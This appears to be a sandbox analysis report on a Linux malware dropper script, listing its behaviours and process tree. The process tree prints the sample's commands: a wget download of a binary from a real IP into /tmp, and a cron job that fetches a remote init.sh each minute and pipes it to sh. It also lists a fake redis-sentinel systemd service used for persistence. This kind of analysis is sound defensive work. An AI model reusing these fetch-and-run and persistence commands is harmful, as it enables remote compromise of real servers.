Analysis

  • max time kernel
    149s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09/07/2026, 10:45

General

  • Target
    wget.sh
  • Size 4KB
  • Sample260709-mtf86ahz21
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:1536
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:1537
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:1547
    • /tmp/.k
      /tmp/.k
      2⤵
      • Deletes itself
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Modifies systemd
      • Reads MAC address of network interface
      • Changes its process name
      • Checks CPU configuration
      • Reads system network configuration
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:1548
      • /bin/sh
        sh -c "/bin/systemctl daemon-reload 2>/dev/null"
        3⤵
          PID:1553
          • /bin/systemctl
            /bin/systemctl daemon-reload
            4⤵
            • Reads runtime system information
            PID:1554
        • /bin/sh
          sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
          3⤵
            PID:1575
            • /bin/systemctl
              /bin/systemctl enable --now redis-sentinel.service
              4⤵
              • Reads runtime system information
              PID:1576
          • /bin/sh
            sh -c "/usr/bin/crontab -l 2>/dev/null"
            3⤵
              PID:1597
              • /usr/bin/crontab
                /usr/bin/crontab -l
                4⤵
                  PID:1598
              • /bin/sh
                sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 1550 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                3⤵
                  PID:1599
                  • /usr/bin/crontab
                    /usr/bin/crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1600

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  redis-sentinel.service

                  • Path /etc/systemd/system/redis-sentinel.service
                  • Size 342B
                  • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                  • MD5 SHA1 SHA512 TLSH

                  .k

                  • Path /tmp/.k
                  • Size 271KB
                  • SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  .redis-server.pid

                  • Path /tmp/.redis-server.pid
                  • Size 4B
                  • SHA256 c27484c7087191b29f05f9c05efc20adeabbf7549f642629322532cb685ffb99
                  • MD5 SHA1 SHA512

                  tmp.jFNbtO

                  • Path /var/spool/cron/crontabs/tmp.jFNbtO
                  • Size 341B
                  • SHA256 587d3b97c994557dde76f2acdfaa1f203b44dc9dbbfc669e3e3afbd05e0970e8
                  • MD5 SHA1 SHA512 TLSH